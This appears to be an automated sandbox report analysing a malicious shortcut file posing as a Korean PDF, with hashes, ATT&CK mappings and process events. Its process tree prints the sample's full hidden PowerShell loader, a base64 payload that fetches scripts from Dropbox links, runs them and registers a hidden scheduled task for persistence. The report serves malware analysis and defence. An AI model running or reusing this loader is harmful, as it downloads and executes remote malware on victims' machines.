079907b7feab3673a1767dbfbc0626e656f5d3b03b6cff471cc7cf8a1973ab34

Analysis

max time kernel
95s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05/02/2025, 08:46

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General

Target
종신안내장V02_곽성환D.pdf.pdf.lnk
Size 310KB
Sample250205-kpdalaypdx
SHA256 21cefe1d3fe0c69c32bebafca15d1ad3b17fae37b11e6b6effe155327387a752
MD5 869024b7644d9fb337a81f478a9fb9f2
SHA1 4e1de3201512c857dfa198c91a9a545ecaaf2a0e
SHA512 48f67a48c0d2c085d209fb5ea71c3ebd4ef0f30237424c49c22e13f619d16879d30104288ed724421efda9e481f779563ce0a73fa2b7ca40c0f6fe27a09f87da
SSDEEP 1536:zYPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPLPA:zn
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
7	4408	powershell.exe
17	4408	powershell.exe
18	4408	powershell.exe
21	4408	powershell.exe
22	4408	powershell.exe
29	4408	powershell.exe
32	4408	powershell.exe
33	4408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4408	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4408	powershell.exe
4408	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeIncreaseQuotaPrivilege	4408	powershell.exe
Token: SeSecurityPrivilege	4408	powershell.exe
Token: SeTakeOwnershipPrivilege	4408	powershell.exe
Token: SeLoadDriverPrivilege	4408	powershell.exe
Token: SeSystemProfilePrivilege	4408	powershell.exe
Token: SeSystemtimePrivilege	4408	powershell.exe
Token: SeProfSingleProcessPrivilege	4408	powershell.exe
Token: SeIncBasePriorityPrivilege	4408	powershell.exe
Token: SeCreatePagefilePrivilege	4408	powershell.exe
Token: SeBackupPrivilege	4408	powershell.exe
Token: SeRestorePrivilege	4408	powershell.exe
Token: SeShutdownPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeSystemEnvironmentPrivilege	4408	powershell.exe
Token: SeRemoteShutdownPrivilege	4408	powershell.exe
Token: SeUndockPrivilege	4408	powershell.exe
Token: SeManageVolumePrivilege	4408	powershell.exe
Token: 33	4408	powershell.exe
Token: 34	4408	powershell.exe
Token: 35	4408	powershell.exe
Token: 36	4408	powershell.exe
Token: SeIncreaseQuotaPrivilege	4408	powershell.exe
Token: SeSecurityPrivilege	4408	powershell.exe
Token: SeTakeOwnershipPrivilege	4408	powershell.exe
Token: SeLoadDriverPrivilege	4408	powershell.exe
Token: SeSystemProfilePrivilege	4408	powershell.exe
Token: SeSystemtimePrivilege	4408	powershell.exe
Token: SeProfSingleProcessPrivilege	4408	powershell.exe
Token: SeIncBasePriorityPrivilege	4408	powershell.exe
Token: SeCreatePagefilePrivilege	4408	powershell.exe
Token: SeBackupPrivilege	4408	powershell.exe
Token: SeRestorePrivilege	4408	powershell.exe
Token: SeShutdownPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeSystemEnvironmentPrivilege	4408	powershell.exe
Token: SeRemoteShutdownPrivilege	4408	powershell.exe
Token: SeUndockPrivilege	4408	powershell.exe
Token: SeManageVolumePrivilege	4408	powershell.exe
Token: 33	4408	powershell.exe
Token: 34	4408	powershell.exe
Token: 35	4408	powershell.exe
Token: 36	4408	powershell.exe
Token: SeIncreaseQuotaPrivilege	4408	powershell.exe
Token: SeSecurityPrivilege	4408	powershell.exe
Token: SeTakeOwnershipPrivilege	4408	powershell.exe
Token: SeLoadDriverPrivilege	4408	powershell.exe
Token: SeSystemProfilePrivilege	4408	powershell.exe
Token: SeSystemtimePrivilege	4408	powershell.exe
Token: SeProfSingleProcessPrivilege	4408	powershell.exe
Token: SeIncBasePriorityPrivilege	4408	powershell.exe
Token: SeCreatePagefilePrivilege	4408	powershell.exe
Token: SeBackupPrivilege	4408	powershell.exe
Token: SeRestorePrivilege	4408	powershell.exe
Token: SeShutdownPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeSystemEnvironmentPrivilege	4408	powershell.exe
Token: SeRemoteShutdownPrivilege	4408	powershell.exe
Token: SeUndockPrivilege	4408	powershell.exe
Token: SeManageVolumePrivilege	4408	powershell.exe
Token: 33	4408	powershell.exe
Token: 34	4408	powershell.exe
Token: 35	4408	powershell.exe
Token: 36	4408	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 4408	2616	cmd.exe	83
PID 2616 wrote to memory of 4408	2616	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\종신안내장V02_곽성환D.pdf.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -nop -NoProfile -NonInteractive -ExecutionPolicy Bypass -c "$ss =\"JGhoaCA9IEpvaW4tUGF0aCAoW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKSkgIuyiheyLoOyViOuCtOyepVYwMl/qs73shLHtmZhELnBkZi5wZGYiOyB3Z2V0IC1VcmkgImh0dHBzOi8vZGwuZHJvcGJveHVzZXJjb250ZW50LmNvbS9zY2wvZmkvbGM3ajdiZTN2dGQyZjNoYWR2MGJ6L1YwMl8tRC5wZGYucGRmP3Jsa2V5PXduYWg5ZWRmMzl2djh2YTdndm1vZHltY2gmc3Q9NjRsaXpyNmsmZGw9MCIgLU91dEZpbGUgJGhoaDsgJiAkaGhoOyAkcHBwID0gSm9pbi1QYXRoICgkZW52OkFwcERhdGEpICJjaHJvbWUucHMxIjsgJHN0ciA9ICckYWFhID0gSm9pbi1QYXRoICgkZW52OkFwcERhdGEpICJ0ZW1wLnBzMSI7IHdnZXQgLVVyaSAiaHR0cHM6Ly9kbC5kcm9wYm94dXNlcmNvbnRlbnQuY29tL3NjbC9maS9nczU4dTZxdnZ4b3J6dHR2MDl5dnQva3hzeGh4LXgudHh0P3Jsa2V5PXY4NnBkN2kybmptN3UwcGZ1dGwwa251Njgmc3Q9Z2p2ZGN3OHImZGw9MCIgLU91dEZpbGUgJGFhYTsgJiAkYWFhOyBSZW1vdmUtSXRlbSAtUGF0aCAkYWFhIC1Gb3JjZTsnOyAkc3RyIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwcHAgLUVuY29kaW5nIFVURjg7ICRhY3Rpb24gPSBOZXctU2NoZWR1bGVkVGFza0FjdGlvbiAtRXhlY3V0ZSAnUG93ZXJTaGVsbC5leGUnIC1Bcmd1bWVudCAnLVdpbmRvd1N0eWxlIEhpZGRlbiAtbm9wICAtTm9uSW50ZXJhY3RpdmUgLU5vUHJvZmlsZSAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtQ29tbWFuZCAiJiB7JGFiYyA9IEpvaW4tUGF0aCAoJGVudjpBcHBEYXRhKSBcImNocm9tZS5wczFcIjsgJiAkYWJjO30iJzsgJHRyaWdnZXIgPSBOZXctU2NoZWR1bGVkVGFza1RyaWdnZXIgLU9uY2UgLUF0IChHZXQtRGF0ZSkuQWRkTWludXRlcyg1KSAtUmVwZXRpdGlvbkludGVydmFsIChOZXctVGltZVNwYW4gLU1pbnV0ZXMgMzApOyAkc2V0dGluZ3MgPSBOZXctU2NoZWR1bGVkVGFza1NldHRpbmdzU2V0IC1IaWRkZW47IFJlZ2lzdGVyLVNjaGVkdWxlZFRhc2sgLVRhc2tOYW1lICJDaHJvbWVVcGRhdGVUYXNrTWFjaGluZSIgLUFjdGlvbiAkYWN0aW9uIC1UcmlnZ2VyICR0cmlnZ2VyIC1TZXR0aW5ncyAkc2V0dGluZ3M7ICAkYWFhID0gSm9pbi1QYXRoICgkZW52OkFwcERhdGEpICJzeXN0ZW1fZmlyc3QucHMxIjsgd2dldCAtVXJpICJodHRwczovL2RsLmRyb3Bib3h1c2VyY29udGVudC5jb20vc2NsL2ZpL3N1bWNoOG8xMmE0a283d3FxdHJnby9reHN4aHgtZi50eHQ/cmxrZXk9aTh5dG81eGczdW5mZnM5d2F3aHl0dTF2NCZzdD1yZWs5ZGdjbCZkbD0wIiAtT3V0RmlsZSAkYWFhOyAmICRhYWE7IFJlbW92ZS1JdGVtIC1QYXRoICRhYWEgLUZvcmNlOw==\"; $aa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));$cc = $env:appdata;$dd = \"user.ps1\";$ee = Join-Path $cc $dd;$aa | Out-File -FilePath $ee; $aaaaa= 89897878; & $ee; Remove-Item -Path $ee -Force;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

error[1].css

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0GUUC90F\error[1].css
Size 40KB
SHA256 f61e72dbd8649dde60503437f25d2562103e11bbb8e981a41f855cf0841550a7
MD5 be526cbaabb663ff6164d67850649b45
SHA1 4a002c32edc0e7bb4c638d4edae9c080e65b1e37
SHA512 7a8d68a9807639c11c1e763a5a55f4d091aacc2b17655082c85292206fda64258e60052d36832563fc8f53cdcdb27df51a146b6ff044631e39deda7d78726aff
SSDEEP 384:l2UpFA1YOf7EzY+Ye77bUnz3DCTFpDx1qYk7IdbBFeWaO2tnmKxMKCSXL2QKl1lO:sUctEzY+Ye77bUnz3DCLDexKXMvX
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_0p5ecl0m.w33.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0p5ecl0m.w33.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4408-2-0x00007FFDBCE03000-0x00007FFDBCE05000-memory.dmp

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memory/4408-8-0x000001A2E9F30000-0x000001A2E9F52000-memory.dmp

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memory/4408-13-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

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memory/4408-14-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

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memory/4408-17-0x000001A2EB440000-0x000001A2EBBE6000-memory.dmp

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memory/4408-19-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

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memory/4408-20-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

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memory/4408-43-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

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